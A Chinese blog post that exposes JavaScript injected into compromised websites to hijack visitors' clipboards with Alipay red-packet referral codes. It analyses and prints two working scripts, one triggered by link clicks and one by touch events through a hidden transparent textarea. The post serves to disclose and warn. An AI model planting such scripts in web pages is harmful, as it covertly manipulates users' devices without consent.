前言
2017年末,支付宝推出扫码领红包的活动,10亿红包呦,发红包还能赚赏金,遂引起羊毛党的关注,推广自己红包口令的方式多种多样,最近偶然发现有人恶意使用js代码进行红包推广,特此揭发,望广大网友注意。
原理
通过js脚本自动执行复制粘贴操作,将支付宝红包口令复制到粘贴板,当打开支付宝app后,会自动弹出领取红包的弹窗。
遇到过几种方式进行js注入:
- 服务器源文件被篡改
- 注入到第三方插件中,发布到网络上,当有不慎者下载使用时,就中招了
- 向不明网站发起请求,返回该脚本文件。(比如手机闽南网,当触摸网页时,将触发复制粘贴操作)
代码分析
attack 1
// 先引入clipbord.min.js插件
DULOhD69AI
就是攻击者的支付宝红包口令,奈何不知道怎么反向查出对应的支付宝账号。
function __x2() {
// 点击a链接时触发复制粘贴操作
var clipboard = new Clipboard('a', {
text: () => {
return 'DULOhD69AI'
}
});
// 复制粘贴成功后,在回调函数中打印信息
clipboard.on('success', function (e) {
console.info('Action:', e.action);
console.info('Text:', e.text);
console.info('Trigger:', e.trigger);
e.clearSelection()
})
};
setTimeout(function () {
__x2()
}, 2000);
我的一个项目就是这样被攻击的,攻击方式是服务器源文件被篡改,作为前端也没服务器权限,只好找运维重新覆盖源文件。
但不久后服务器源文件再次被篡改,这个攻击者肯定是知道服务器的某个漏洞,但是运维也不知道怎么办,最后只好将服务器的权限设置为只读。
attack 2
这个就是手机闽南网被攻击的代码,今天看了下红包口令更新了,我怀疑是网站管理者自己放的,个人哪有这么多口令...
通过execCommand
进行复制粘贴。
(function (b) {
var c = function () {
// 创建textarea元素
var a = b.createElement("textarea");
// 红包口令数组
arr = ["2aTYja05YH", "I289Dm62fl", "VPSXMc38nR", "IGajcE19qH", "osgFYk14fb", "m0gpOA57DT", "7RNrwx44yj", "m0Xkvk03lp", "KhX5FA257W", "7TAP0E63j0", "1LBpbi38E6", "1zDaK575Z2", "3P3GbM75qa", "9NRVaT46kM", "52n3AJ77X8", "6QHTmy38pn", "9O31e874Qq", "4qTwgh42Ds", "8fmI1l26x4", "9obq2156sP", "z0GbYK121H", "MME85372NU", "XHs9br36s7", "EnKZ5q70tz", "7ENTnz98z4", "XA8Duh48vD", "pyeW6f5058"];
// 随机获取
rand = arr[Math.floor(Math.random() * arr.length)];
a.value = rand;
// 设置textarea只读
a.setAttribute("readOnly", "readOnly");
// 设置textare样式,通过透明度隐藏
a.setAttribute("style", "position: fixed; left: 0; top: 0;opacity: 0;");
b.body.appendChild(a);
// 复制粘贴操作
setTimeout(function () {
a.focus();
try {
a.setSelectionRange(0, a.value.length), b.execCommand("copy", !0)
} catch (d) {}
a.parentNode.removeChild(a)
}, 0)
};
// 触摸事件监听
b.addEventListener("touchstart", c, !1);
b.addEventListener("touchmove", c, !1);
b.addEventListener("touchend", c, !1)
})(document);